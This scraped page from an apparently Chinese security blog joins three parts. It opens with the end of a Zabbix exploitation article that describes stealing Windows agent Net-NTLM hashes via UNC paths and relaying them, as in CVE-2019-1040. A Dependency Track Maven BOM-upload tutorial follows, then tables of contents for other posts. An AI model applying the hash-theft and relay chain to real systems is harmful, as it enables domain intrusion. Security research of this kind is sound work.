在 Windows Zabbix Agent 环境中，可以利用 vfs.file.contents 命令读取 UNC 路径，窃取 Zabbix Agent 机器的 Net-NTLM hash，从而进一步 Net-NTLM relay 攻击。

Window Zabbix Agent 默认安装成 Windows 服务，运行在 SYSTEM 权限下。在工作组环境中，system 用户的 Net-NTLM hash 为空，所以工作组环境无法利用。

在域内环境中，SYSTEM 用户即机器用户，如果是 Net-NTLM v1 的情况下，可以利用 Responder 工具获取 Net-NTLM v1 hash 并通过算法缺陷解密拿到 NTLM hash，配合资源约束委派获取域内机器用户权限，从而拿下 Agent 机器权限。

也可以配合 CVE-2019-1040 漏洞，relay 到 ldap 上配置基于资源的约束委派进而拿下 Agent 机器权限。（此处直接结果直接引用，未做实验）

3.6 Zabbix Proxy 和主动检查模式利用场景

通过 zabbix_get 工具执行监控项命令只适合 Agent 被动模式且 10050 端口可以通讯的场景

如果在 Zabbix Proxy 场景或 Agent 主动检查模式的情况下，Zabbix Server 无法直接与 Agent 10050 端口通讯，可以使用比较通用的办法，就是通过 Zabbix Web 添加监控项。

其它配置同理，在此不做赘述。

参考

Zabbix 攻击面挖掘与利用

vulhub

Zabbix 手册

Zabbix监控原理及架构

Exploit RCE Reprint Zabbix

Dependency Track BOM文件推送插件使用

Nov 10, 2025

Dependency Track BOM文件推送插件使用

本文转自 Yemoox 并作补充

一、干活啦，猪头

开源第三方扫描工具Dependency的免费版-Dependency Track，用户第三方组件的漏洞监控，只需要推送BOM文件，就可以自动创建项目，然后进行检查。但在Java项目里，只有pom.xml文件，如何把利用pom.xml快速的生成bom文件，则成了如何帅气使用dependency Track的重要问题。靠着孜（不）孜（要）不（脸）倦（屁）的精神，终于把这个问题搞定了。

二、配置pom.xml文件

首先获取pom.xml文件，用IDEA打开，并为这个文件单独创建项目。

此时需要进行dependency Track的插件配置，插件地址为：https://github.com/pmckeown/dependency-track-maven-plugin，这里进行插件配置。
在pom.xml文件中找到plugins插件配置位置，添加插件：

<plugin>
    <groupId>io.github.pmckeown</groupId>
    <artifactId>dependency-track-maven-plugin</artifactId>
    <version>1.0.0</version>
    <configuration>
        <dependencyTrackBaseUrl>dependencyTrack URL</dependencyTrackBaseUrl>
        <apiKey>api_key</apiKey>
    </configuration>
</plugin>


<plugin>
    <groupId>org.cyclonedx</groupId>
    <artifactId>cyclonedx-maven-plugin</artifactId>
    <version>2.5.1</version>
    <executions>
        <execution>
            <phase>package</phase>
            <goals>
                <goal>makeAggregateBom</goal>
            </goals>
        </execution>
    </executions>
    <configuration>
        <projectType>library</projectType>
        <schemaVersion>1.2</schemaVersion>
        <includeBomSerialNumber>true</includeBomSerialNumber>
        <includeCompileScope>true</includeCompileScope>
        <includeProvidedScope>true</includeProvidedScope>
        <includeRuntimeScope>true</includeRuntimeScope>
        <includeSystemScope>true</includeSystemScope>
        <includeTestScope>false</includeTestScope>
        <includeLicenseText>false</includeLicenseText>
        <outputFormat>all</outputFormat>
        <outputName>bom</outputName>
    </configuration>
</plugin>

在dependencyTrackBaseUrl条目中加入你的dependencyTrack地址，也就是你的访问URL，apikey条目中加入你的apikey，可在你的后台获取，注意这个apikey需要有添加权限，我这里直接给的最高的，避免出现未知情况。如果你的pom.xml文件中没有私有仓库地址，就可以运行命令进行生成bom文件，然后上传。

三、Maven私有仓库配置

因为演示的pom.xml中包含私有仓库，则需要对Maven进行私有仓库配置。如果你使用的是本地搭建的maven，则需要修改setting文件。如果是使用的是IDEA自带的Maven则需要改IDEA的maven配置。可以百度一下如何配置本地的maven私有库。
1
mvn org.cyclonedx:cyclonedx-maven-plugin:makeAggregateBom   

四、BOM文件生成与上传

现在已经在pom.xml中配置好了dependencyTrack插件，和maven私有仓库。则可以在pom.xml目录下，运行BOM生成命令。
1
mvn org.cyclonedx:cyclonedx-maven-plugin:makeAggregateBom   
此时在当前目录下已经生成target文件夹，以及该文件夹下的bom.xml文件，在运行上传命令，上传bom文件，上传成功后便可以去dependencyTrack查看项目了。
1
mvn dependency-track:upload-bom   

Reprint SCA

- 2025 -

【实用教程】记Simplehook+Lspatch+Shizuku 免root使用教程 番茄为例

目录

一.安装以上四个软件

二.Shizuku配置激活

三.Lspatch配置教程

四.Simplehook配置

非root环境下frida持久化的两种方式及脚本

方法一 调试apk中含有so

1.效果

2.代码

方法二 apk中没有so

1. 效果

2. 代码

Frida 持久化检测特征

Android 禁止应用多开

Android多开

原理

Android检测方案

1、检查files目录路径

2、应用列表检测

3、Maps检测

4、ps检测

四种方案测试结果

最终方案

第1步：扫描本地端口（扫描tcp文件并格式化端口的关键代码）

第2步：发起连接请求

第3步：成为接收端，等待连接

fuzz AndroidManifest.xml 实现反编译对抗

环境准备

AndroidManifest.xml 简介

AndroidManifest.xml二进制文件结构

文件大纲

Header

Other

手动修改AndroidManifest文件

自动化fuzz

获取apktool解析结果

优化

获取结果

jadx对抗

小结

参考链接

CVE-2024-38816 Spring Framework 目录遍历漏洞详细分析

漏洞描述

基础知识

环境搭建

漏洞复现

漏洞分析

参考

WIN10系统使用自带软件进行有线802.1X认证时的配置方法

前提条件

操作步骤

MySQL数据库字段超长问题

1. 存在的问题

2. 问题解决与优化建议

2.1. JSON等格式的字段

2.1.1. MySQL字符串字段长度

2.1.2. MySQL使用较长的字符串类型字段影响

2.2. 可以截断的字段

在Jenkins及GitlabCI中集成OpenSCA，轻松实现CI/CD开源风险治理

Jenkins

Freestyle Project

Pipeline Project

(可选) 添加构建后动作

修改 Jenkins CSP

Pipeline Script 示例

GitLab CI

完整示例

Zabbix 漏洞深入利用

1 前言

1.1 组件

1.2 网络架构

1.3 Zabbix Agent 配置

2 Zabbix 历史漏洞

2.1 弱口令

2.1.1 Web 端

2.1.2 mysql 端

2.2 CVE-2016-10134 - SQL 注入漏洞

2.2.1 已有用户凭据

【实用教程】记Simplehook+Lspatch+Shizuku 免root使用教程番茄为例

方法一调试apk中含有so